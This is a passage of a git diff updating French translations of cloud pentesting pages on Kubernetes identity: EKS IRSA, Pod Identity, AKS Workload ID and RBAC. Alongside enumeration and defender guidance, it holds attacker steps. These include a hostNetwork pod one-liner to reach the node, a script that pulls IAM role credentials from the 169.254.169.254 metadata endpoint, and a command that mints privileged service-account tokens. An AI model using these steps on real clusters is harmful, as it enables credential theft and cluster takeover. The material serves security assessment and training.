chaque définition de pod avec quelque chose comme**: +Une fois l'espace de noms configuré avec les rôles IAM que les Pods peuvent avoir, vous pouvez **indiquer le rôle que vous voulez sur chaque définition de pod avec quelque chose comme**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> En tant qu'attaquant, si vous **trouvez ces annotations** dans des pods ou des namespaces ou un serveur kiam/kube2iam en cours d'exécution (dans kube-system probablement) vous pouvez **impersonate every r**ôle déjà **used by pods** et plus encore (si vous avez accès à AWS account enumerate the roles). +> En tant qu'attaquant, si vous **trouvez ces annotations** dans des pods ou des namespaces ou un serveur kiam/kube2iam en cours d'exécution (dans kube-system probablement), vous pouvez **impersonate every r**ole qui est déjà **used by pods** et plus encore (si vous avez accès au compte AWS, enumérez les roles). #### Create Pod with IAM Role > [!NOTE] -> Le IAM role à indiquer doit être dans le même AWS account que le role kiam/kube2iam et ce role doit pouvoir y accéder. +> Le IAM role à indiquer doit se trouver dans le même compte AWS que le role kiam/kube2iam et ce role doit pouvoir y accéder. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### IAM Role pour K8s Service Accounts via OIDC -C’est la **méthode recommandée par AWS**. +C'est la **méthode recommandée par AWS**. -1. Tout d’abord, vous devez [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Ensuite, vous create an IAM role avec les permissions dont le SA aura besoin. -3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (ou les namespaces donnant accès au role à tous les SAs du namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_. -4. Enfin, **create a SA with an annotation indicating the ARN of the role**, et les pods s’exécutant avec ce SA auront **access to the token of the role**. Le **token** is **written** dans un fichier et le path est spécifié dans **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Avant tout, vous devez [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Ensuite, vous créez un IAM role avec les permissions dont le SA aura besoin. +3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (ou les namespaces donnant accès au role à tous les SAs du namespace). _La trust relationship vérifiera principalement le nom du OIDC provider, le nom du namespace et le nom du SA_. +4. Enfin, **create a SA with an annotation indicating the ARN of the role**, et les pods exécutés avec ce SA auront **access to the token of the role**. Le **token** est **written** dans un fichier et le chemin est spécifié dans **`AWS_WEB_IDENTITY_TOKEN_FILE`** (par défaut : `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> En tant qu'attaquant, si vous pouvez énumérer un cluster K8s, vérifiez les **service accounts avec cette annotation** pour **escalader vers AWS**. Pour ce faire, faites simplement **exec/create** d'un **pod** en utilisant l'un des IAM **privileged service accounts** et volez le token. +> En tant qu'attaquant, si vous pouvez énumérer un cluster K8s, vérifiez les **service accounts avec cette annotation** pour **escalader vers AWS**. Pour ce faire, **exec/create** simplement un **pod** en utilisant l'un des **service accounts privilégiés** IAM et volez le token. > -> De plus, si vous êtes à l'intérieur d'un pod, vérifiez les variables d'environnement comme **AWS_ROLE_ARN** et **AWS_WEB_IDENTITY_TOKEN.** +> De plus, si vous êtes dans un pod, vérifiez les variables d'environnement comme **AWS_ROLE_ARN** et **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Parfois, la **Turst Policy of a role** peut être **mal configurée** et au lieu de donner l'accès AssumeRole au service account attendu, elle l'accorde à **tous les service accounts**. Par conséquent, si vous êtes capable d'écrire une annotation sur un service account contrôlé, vous pouvez accéder au rôle. +> Parfois, la **Turst Policy d'un rôle** peut être **mal configurée** et, au lieu d'accorder l'accès AssumeRole au service account attendu, elle l'accorde à **tous les service accounts**. Par conséquent, si vous êtes capable d'écrire une annotation sur un service account contrôlé, vous pouvez accéder au rôle. > -> Vérifiez la **page suivante pour plus d'informations** : +> Consultez la **page suivante pour plus d'informations** : {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Find Pods a SAs with IAM Roles in the Cluster +### EKS Pod Identity -Voici un script pour **itérer facilement sur tous les pods et définitions de sas** en **recherchant** cette **annotation** : +EKS Pod Identity est la nouvelle méthode gérée par AWS pour associer un IAM role à un Kubernetes service account sans dépendre de chaque workload pour appeler STS avec un IRSA web identity token. Le cluster exécute l'EKS Pod Identity Agent sur les nodes, l'EKS API stocke les pod identity associations, et les AWS SDKs dans certains pods obtiennent des credentials via le chemin du container credentials provider exposé par l'agent. + +Depuis Kubernetes, l'indice intéressant reste la relation entre le service account et le pod, mais les signaux d'exécution sont différents de IRSA. Recherchez les variables d'environnement de container credentials AWS dans les pods plutôt que seulement `AWS_WEB_IDENTITY_TOKEN_FILE`: +```bash +kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE' +kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn' +kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity' +``` +Depuis AWS, énumérez les associations puis mappez-les de nouveau vers les Kubernetes namespaces et service accounts : +```bash +aws eks list-pod-identity-associations --cluster-name +aws eks describe-pod-identity-association \ +--cluster-name \ +--association-id +``` +À l’intérieur d’un pod associé, les principaux indicateurs d’exécution sont les variables du container credentials provider injectées par EKS : +```bash +env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)=' +ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null +aws sts get-caller-identity +``` +Le point de terminaison de credentials local est généralement `http://169.254.170.23/v1/credentials` et le token d’autorisation est un projected service account token pour l’audience `pods.eks.amazonaws.com`. N’oubliez pas que l’ordre des AWS SDK credential-provider s’applique toujours : si des static environment credentials ou des shared credential files sont configurés plus tôt dans la chaîne, le pod peut les utiliser à la place de l’association Pod Identity. + +Les rôles Pod Identity font normalement confiance au service principal `pods.eks.amazonaws.com` pour `sts:AssumeRole` et `sts:TagSession`. Vérifiez les conditions de trust-policy sur les request tags tels que `kubernetes-namespace`, `kubernetes-service-account`, et les cluster tags, car des conditions trop larges peuvent rendre un rôle réutilisable disponible à trop de service accounts. Pod Identity ajoute aussi des session tags aux temporary credentials, et ces tags peuvent alimenter des politiques ABAC telles que l’accès aux resources basé sur `${aws:PrincipalTag/kubernetes-namespace}` ou `${aws:PrincipalTag/kubernetes-service-account}`. + +Pour l’accès cross-account, une association Pod Identity peut utiliser un rôle du même compte qui chaînage vers un rôle cible dans un autre compte. Dans ce cas, examinez les deux couches : le rôle d’association EKS et le trust/policy du rôle cible. Les session tags Pod Identity sont transitive à travers la chaîne de rôles, donc ils constituent une preuve utile pour démontrer quel cluster namespace et quel service account a accédé au compte distant. + +> [!WARNING] +> Si vous pouvez créer ou modifier des pods qui utilisent un service account avec une association EKS Pod Identity, testez si ce pod reçoit des AWS permissions utiles. Si vous défendez, alertez sur les nouvelles pod identity associations, l’utilisation inattendue de service accounts, et les AWS API calls provenant de rôles qui ne devraient être utilisés que par des workloads spécifiques. + +### Garde-fous de gouvernance EKS + +Lors de l’examen de EKS côté AWS, rappelez-vous que IAM et les garde-fous AWS Organizations peuvent refuser une configuration de cluster dangereuse même lorsqu’un principal semble avoir de larges permissions EKS. Les récents condition keys EKS couvrent des paramètres de cluster tels que l’accès public ou privé au endpoint, les versions Kubernetes, les clés KMS de chiffrement des secrets, la deletion protection, le control-plane scaling tier, et la configuration de zonal shift. Ces keys peuvent être utilisées dans des politiques IAM ou des Service Control Policies pour imposer des baselines de cluster à l’échelle du compte. + +Cela compte à la fois pour l’impact de l’attaque et pour le triage. Si un principal peut appeler `eks:UpdateClusterConfig` mais qu’un SCP refuse l’activation d’un endpoint public via `eks:endpointPublicAccess`, signalez l’action risquée tentée et le garde-fou qui l’a bloquée au lieu d’affirmer une exposition du public API. Pour les défenseurs, alertez aussi sur les changements de configuration EKS refusés que sur les changements réussis, car les tentatives refusées peuvent révéler une automation compromise, des admin roles obsolètes, ou une reconnaissance avant un pivot vers un compte moins protégé. + +Références utiles : + +- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html) +- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) + +### Trouver des Pods et des SAs avec des IAM Roles dans le Cluster + +Voici un script pour **itérer facilement sur tous les pods et les définitions de sas** en **cherchant** cette **annotation** : ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -La section précédente portait sur la manière de voler des IAM Roles avec des pods, mais notez qu’un **Node du** cluster K8s est une **instance dans le cloud**. Cela signifie que le Node a très probablement un **IAM role que vous pouvez voler** (_notez que généralement tous les nodes d’un cluster K8s auront le même IAM role, donc cela ne vaut peut-être pas la peine d’essayer de vérifier chaque node_). +La section précédente expliquait comment voler des IAM Roles avec des pods, mais notez qu’un **Node de** K8s cluster est en réalité une **instance dans le cloud**. Cela signifie que le Node a très probablement **un IAM role que vous pouvez voler** (_notez que généralement tous les nodes d’un K8s cluster auront le même IAM role, donc il ne vaut peut-être pas la peine d’essayer de vérifier chaque node_). -Pour accéder au metadata endpoint du node, vous devez : -- Être dans un pod et avoir le metadata endpoint configuré pour au moins 2 tcp hops. C’est la mauvaise configuration la plus courante, car en général différents pods du cluster auront besoin d’accéder au metadata endpoint pour ne pas casser, et plusieurs entreprises décident simplement d’autoriser l’accès au metadata endpoint depuis tous les pods du cluster. +Pour accéder au node metadata endpoint, vous devez : +- Être dans un pod et avoir le metadata endpoint configuré avec au moins 2 tcp hops. C’est la mauvaise configuration la plus courante, car en général différents pods du cluster auront besoin d’accéder au metadata endpoint pour ne pas casser, et plusieurs entreprises décident simplement d’autoriser l’accès au metadata endpoint depuis tous les pods du cluster. - Être dans un pod avec `hostNetwork` activé. -- Échapper vers le node et accéder directement au metadata endpoint. +- Escape vers le node et accéder directement au metadata endpoint. (Notez que le metadata endpoint est à 169.254.169.254 comme toujours). -Dans les environnements EKS plus récents, vérifiez le mode du node et du cluster avant de supposer que les pods peuvent atteindre le node instance profile. Les AMIs Amazon Linux 2023 EKS optimized définissent par défaut le hop limit IMDS à 1, et EKS Auto Mode active `disablePodIMDS` par défaut, donc les pods ordinaires ne devraient pas recevoir les credentials du node-role sauf si l’opérateur a modifié ces paramètres ou si le pod dispose d’un autre chemin au niveau du node tel que `hostNetwork` ou la compromission du node. Le pattern recommandé est de bloquer l’accès des pods à l’IMDS du node et d’utiliser IRSA ou EKS Pod Identity pour les permissions AWS des workloads. +Dans les environnements EKS plus récents, vérifiez le mode du node et du cluster avant de supposer que les pods peuvent atteindre le node instance profile. Les Amazon Linux 2023 EKS optimized AMIs définissent par défaut le IMDS hop limit sur 1, et EKS Auto Mode active `disablePodIMDS` par défaut, donc les pods ordinaires ne devraient pas recevoir les credentials du node-role sauf si l’opérateur a modifié ces paramètres ou si le pod dispose d’un autre chemin au niveau du node, comme `hostNetwork` ou une compromission du node. Le schéma recommandé est de bloquer l’accès des pods au node IMDS et d’utiliser IRSA ou EKS Pod Identity pour les permissions AWS des workloads. -Pour **échapper vers le node**, vous pouvez utiliser la commande suivante pour exécuter un pod avec `hostNetwork` activé : +Pour **escape to the node**, vous pouvez utiliser la commande suivante pour exécuter un pod avec `hostNetwork` activé : ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Voler le jeton IAM Role +### Voler un IAM Role Token -Précédemment, nous avons discuté de la façon de **attach IAM Roles to Pods** ou même de **escape to the Node to steal the IAM Role** que l'instance lui a attaché. +Précédemment, nous avons discuté de la façon de **attacher des IAM Roles aux Pods** ou même de **escape vers le Node pour voler le IAM Role** que l'instance a attaché à celui-ci. -Vous pouvez utiliser le script suivant pour **steal** vos nouvelles **IAM role credentials** durement obtenues : +Vous pouvez utiliser le script suivant pour **voler** vos nouvelles **IAM role credentials** durement obtenues : ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -287,11 +330,11 @@ fi ``` ### Privesc to cluster-admin -En résumé : s’il est possible d’**accéder au rôle IAM EKS du Node** depuis un pod, il est possible de **compromettre l’ensemble du cluster kubernetes**. +En résumé : s’il est possible d’**accéder au rôle IAM EKS Node** depuis un pod, il est possible de **compromettre l’ensemble du cluster kubernetes**. -Pour plus d’infos, consulte [ce post](https://blog.calif.io/p/privilege-escalation-in-eks). En résumé, le rôle IAM EKS par défaut qui est attribué aux nodes EKS par défaut se voit attribuer le rôle `system:node` à l’intérieur du cluster. Ce rôle est très intéressant bien qu’il soit limité par les [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) de kubernetes. +Pour plus d’informations, consulte [ce post](https://blog.calif.io/p/privilege-escalation-in-eks). En résumé, le rôle IAM EKS par défaut qui est assigné aux nœuds EKS par défaut est assigné au rôle `system:node` à l’intérieur du cluster. Ce rôle est très intéressant bien qu’il soit limité par les [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) de kubernetes. -Cependant, le node peut toujours **générer des tokens pour les service accounts** exécutés dans les pods à l’intérieur du node. Donc, si le node exécute un pod avec un service account privilégié, le node peut générer un token pour ce service account et l’utiliser pour usurper l’identité du service account comme dans : +Cependant, le node peut toujours **generate tokens for service accounts** s’exécutant dans des pods à l’intérieur du node. Donc, si le node exécute un pod avec un service account privilégié, le node peut generate un token pour ce service account et l’utiliser pour usurper l’identité du service account comme dans : ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ @@ -300,13 +343,13 @@ kubectl --context=node1 create token -n ns1 sa-priv \ ``` ## Azure / AKS -Dans AKS, gardez trois chemins d’identité séparés pendant l’évaluation : +Dans AKS, gardez trois chemins d'identité séparés pendant l’évaluation : -- **Azure to Kubernetes** : les principaux Azure peuvent récupérer des kubeconfigs user ou admin via Azure Resource Manager si leur rôle Azure RBAC l’autorise. Les kubeconfigs local admin provenant de `az aks get-credentials --admin` sont des credentials basés sur des certificats et peuvent contourner la gouvernance normale des utilisateurs/groupes Microsoft Entra, sauf si les comptes locaux sont désactivés. -- **Microsoft Entra to Kubernetes** : les clusters intégrés à Entra authentifient les users, groups ou service principals via `kubelogin`/exec kubeconfigs. L’action Kubernetes finale peut être autorisée par le RBAC natif de Kubernetes ou par Azure RBAC for Kubernetes Authorization. -- **Kubernetes to Azure** : les Pods devraient normalement utiliser Microsoft Entra Workload ID, qui échange les projected Kubernetes service account tokens avec Entra via l’AKS OIDC issuer et les federated identity credentials. +- **Azure vers Kubernetes** : Les principals Azure peuvent récupérer des kubeconfigs utilisateur ou admin via Azure Resource Manager si leur rôle Azure RBAC l’autorise. Les kubeconfigs admin locaux issus de `az aks get-credentials --admin` sont des credentials basés sur certificat et peuvent contourner la gouvernance normale des utilisateurs/groupes Microsoft Entra sauf si les comptes locaux sont désactivés. +- **Microsoft Entra vers Kubernetes** : Les clusters intégrés à Entra authentifient les users, groups ou service principals via `kubelogin`/exec kubeconfigs. L’action finale Kubernetes peut être autorisée par le native Kubernetes RBAC ou par Azure RBAC for Kubernetes Authorization. +- **Kubernetes vers Azure** : Les Pods doivent normalement utiliser Microsoft Entra Workload ID, qui échange des projected Kubernetes service account tokens avec Entra via l’AKS OIDC issuer et des federated identity credentials. -Useful AKS identity checks from Azure: +Vérifications utiles d’identité AKS depuis Azure : ```bash az aks show -g -n \ --query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ @@ -316,12 +359,12 @@ AKS_ID=$(az aks show -g -n --query id -o tsv) az role assignment list --scope "$AKS_ID" --include-inherited -o table az role assignment list --scope "$AKS_ID/namespaces/" -o table ``` -Depuis Kubernetes, recherchez des signaux AKS Workload ID : +Depuis Kubernetes, recherchez des signaux de AKS Workload ID : ```bash kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 ``` -Les champs Workload ID pertinents sont généralement : +Les champs pertinents de Workload ID sont généralement : ```yaml metadata: annotations: @@ -332,21 +375,43 @@ metadata: labels: azure.workload.identity/use: "true" ``` +Les environnements AKS plus récents peuvent utiliser **AKS Identity Bindings** (preview) pour faire évoluer Workload ID sur de nombreux clusters ou service accounts sans créer un federated identity credential par subject. Dans ce modèle, une user-assigned managed identity est liée au cluster AKS, les workloads s’y opt-in avec `azure.workload.identity/use-identity-binding: "true"`, et Kubernetes RBAC accorde `use-managed-identity` sur des ressources `cid.wi.aks.azure.com` nommées d’après les client IDs de managed identity. Un `ClusterRoleBinding` trop large ici peut exposer la même Azure identity à plus de namespaces que prévu, même si les subjects des direct federated identity credentials paraissent restreints. +```bash +az aks identity-binding list -g --cluster-name -o yaml +kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12 +``` Si le cluster utilise encore le modèle deprecated Microsoft Entra pod-managed identity, recherchez les anciens CRDs et les composants NMI/MIC au lieu des annotations Workload ID : ```bash kubectl get crd | grep -i azureidentity kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' ``` -Les nœuds AKS sont des instances Azure VM scale set, donc l’accès au niveau du node ou de l’hôte peut exposer Azure Instance Metadata Service à `169.254.169.254`. Ne supposez pas qu’un pod ordinaire devrait recevoir les identifiants managed identity du node : vérifiez d’abord les paramètres de Workload ID, le comportement legacy de pod identity/NMI, l’usage de hostNetwork, les contrôles réseau et l’accès au node. Si une node identity dispose de larges permissions Azure, la compromission du node peut devenir un pivot Azure même lorsque le Workload ID de l’application est correctement scoped. +Les nœuds AKS sont des instances Azure VM scale set, donc un accès au niveau du nœud ou de l’hôte peut exposer Azure Instance Metadata Service à `169.254.169.254`. Ne suppose pas qu’un pod ordinaire devrait recevoir des credentials d’identité gérée du nœud : vérifie d’abord les paramètres de workload identity, le comportement legacy de pod identity/NMI, l’usage de hostNetwork, les contrôles réseau et l’accès au nœud. Si une node identity a des permissions Azure larges, la compromission du nœud peut devenir un pivot Azure même quand l’Application Workload ID est correctement restreinte. -## References +AKS Automatic et Node Auto-Provisioning (NAP) changent les preuves côté nœud que tu dois collecter. AKS Automatic préconfigure plusieurs valeurs par défaut de production, notamment le support de Workload ID/OIDC, les managed node pools, le verrouillage du node resource group et le comportement de mise à jour géré. NAP est le mode de provisioning géré basé sur Karpenter et utilise des ressources Kubernetes telles que `NodePool`, `AKSNodeClass` et `NodeClaim` pour décider quels nœuds sont créés pour les workloads en attente. Vérifie qui peut modifier ces ressources, les contrôles de scheduling à fort impact, les pods privilégiés et les tolérances larges ; vérifie aussi si le verrouillage du node resource group a bloqué les modifications directes de VMSS/load balancer et imposé des changements via Kubernetes ou les APIs AKS. +```bash +az aks show -g -n \ +--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \ +-o yaml + +kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter' +kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null +``` +## Références - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html) - [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) - [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings) - [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) +- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic) +- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning) +- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index dedcba24b..b3250d20a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,26 +4,32 @@ ## Role-Based Access Control (RBAC) -Kubernetes a un **module d'autorisation nommé Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) qui aide à définir des permissions d'utilisation pour le serveur API. +Kubernetes a un **module d'autorisation nommé Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) qui aide à définir des permissions d'utilisation pour le API server. Le modèle de permissions de RBAC est construit à partir de **trois parties distinctes** : -1. **Role\ClusterRole –** La permission réelle. Il contient des _**rules**_ qui représentent un ensemble de permissions. Chaque rule contient des [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) et des [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Le verb est l'action qui sera appliquée à la resource. +1. **Role\ClusterRole –** La permission elle-même. Elle contient des _**rules**_ qui représentent un ensemble de permissions. Chaque règle contient des [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) et des [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Le verb est l'action qui sera appliquée à la resource. 2. **Subject (User, Group or ServiceAccount) –** L'objet qui recevra les permissions. 3. **RoleBinding\ClusterRoleBinding –** La connexion entre Role\ClusterRole et le subject. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -La différence entre “**Roles**” et “**ClusterRoles**” concerne uniquement l'endroit où le role sera appliqué – un “**Role**” accordera l'accès à **un seul** **namespace** **spécifique**, tandis qu'un “**ClusterRole**” peut être utilisé dans **tous les namespaces** du cluster. De plus, les **ClusterRoles** peuvent aussi accorder l'accès à : +La différence entre “**Roles**” et “**ClusterRoles**” se situe uniquement dans l'endroit où le role sera appliqué – un “**Role**” accordera l'accès à un seul **namespace** **spécifique**, tandis qu'un “**ClusterRole**” peut être utilisé dans **tous les namespaces** du cluster. De plus, les **ClusterRoles** peuvent aussi accorder l'accès à : -- des resources **cluster-scoped** (comme les nodes). +- des ressources **cluster-scoped** (comme nodes). - des endpoints **non-resource** (comme /healthz). -- des resources namespaced (comme Pods), **dans tous les namespaces**. +- des ressources namespaced (comme Pods), **dans tous les namespaces**. À partir de **Kubernetes** 1.6, les politiques **RBAC** sont **activées par défaut**. Mais pour activer RBAC, vous pouvez utiliser quelque chose comme : ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` +Les clusters modernes peuvent aussi configurer la chaîne d’authorizer du API server avec `--authorization-config`, qui pointe vers un fichier `AuthorizationConfiguration`. Ce fichier peut définir des authorizers ordonnés, plusieurs webhook authorizers, des timeouts de webhook, `failurePolicy`, des paramètres de cache, et des `matchConditions` CEL qui décident quelles requests sont envoyées à un webhook. Lors d’un security review, ne vous arrêtez pas à `--authorization-mode` si `--authorization-config` est présent : lisez le fichier référencé et vérifiez si un webhook peut fail open avec `NoOpinion`, si les match conditions sautent des ressources sensibles, et si toutes les réplicas du API server utilisent une configuration d’authorization équivalente. + +Vérifiez aussi la configuration d’authentication lors de l’examen de l’exposition anonyme de l’API. `--authentication-config` peut limiter l’anonymous authenticator à des paths spécifiques comme `/livez`, `/readyz`, et `/healthz`. L’accès anonyme aux endpoints de santé n’est pas la même chose que l’accès anonyme aux ressources Kubernetes ; la condition dangereuse est un chemin RBAC ou authorizer qui permet à `system:anonymous` ou `system:unauthenticated` de lire ou modifier de vrais objets API. + +Enfin, considérez l’appartenance à `system:masters` comme équivalente à cluster-admin. Les users ou certificates dans ce groupe ont un accès API sans restriction qui contourne les limites normales de RBAC et d’authorization webhook, donc les mappings d’identité qui ajoutent ce groupe peuvent être plus importants que la sortie ordinaire de RoleBinding. + ## Templates Dans le template d’un **Role** ou d’un **ClusterRole**, vous devrez indiquer le **name du role**, le **namespace** (dans les roles), puis les **apiGroups**, **resources** et **verbs** du role : @@ -34,27 +40,29 @@ Dans le template d’un **Role** ou d’un **ClusterRole**, vous devrez indiquer ### Rules Verbs -(_Cette info a été tirée de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) +(_Cette info a été prise de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (pour des resources individuelles), list (pour des collections, y compris le contenu complet de l’objet), watch (pour surveiller une resource individuelle ou une collection de resources) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (pour des resources individuelles), deletecollection (pour des collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes vérifie parfois l’autorisation pour des permissions supplémentaires en utilisant des verbs spécialisés. Par exemple : +Kubernetes vérifie parfois l’authorization pour des permissions supplémentaires en utilisant des verbs spécialisés. Par exemple : - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- le verb `use` sur les resources `podsecuritypolicies` dans le groupe API `policy`. +- verb `use` sur les resources `podsecuritypolicies` dans le groupe API `policy`. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- les verbs `bind` et `escalate` sur les resources `roles` et `clusterroles` dans le groupe API `rbac.authorization.k8s.io`. +- verbs `bind` et `escalate` sur les resources `roles` et `clusterroles` dans le groupe API `rbac.authorization.k8s.io`. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- le verb `impersonate` sur `users`, `groups` et `serviceaccounts` dans le groupe API core, et `userextras` dans le groupe API `authentication.k8s.io`. +- verb `impersonate` sur `users`, `groups`, et `serviceaccounts` dans le core API group, et les `userextras` dans le groupe API `authentication.k8s.io`. + +Kubernetes v1.36 inclut aussi **constrained impersonation** comme fonctionnalité beta. Au lieu d’accorder seulement le vieux verb `impersonate` tout ou rien, les clusters peuvent accorder des verbs spécifiques au mode comme `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, ou `impersonate:associated-node`, plus des verbs spécifiques à l’action comme `impersonate-on:user-info:list` sur la resource cible. Examinez les deux moitiés : l’identité que le subject peut impersonate et les actions qu’il peut effectuer pendant l’impersonation. Les règles `impersonate` héritées peuvent encore permettre un accès plus large, donc n’assumez pas que des verbs qui semblent contraints sont appliqués sauf si la version du API server et les preuves d’access-review le confirment. > [!WARNING] -> Vous pouvez trouver **tous les verbs pris en charge par chaque resource** en exécutant `kubectl api-resources --sort-by name -o wide` +> Vous pouvez trouver **tous les verbs supportés par chaque resource** en exécutant `kubectl api-resources --sort-by name -o wide` ### Examples ```yaml:Role @@ -80,13 +88,13 @@ 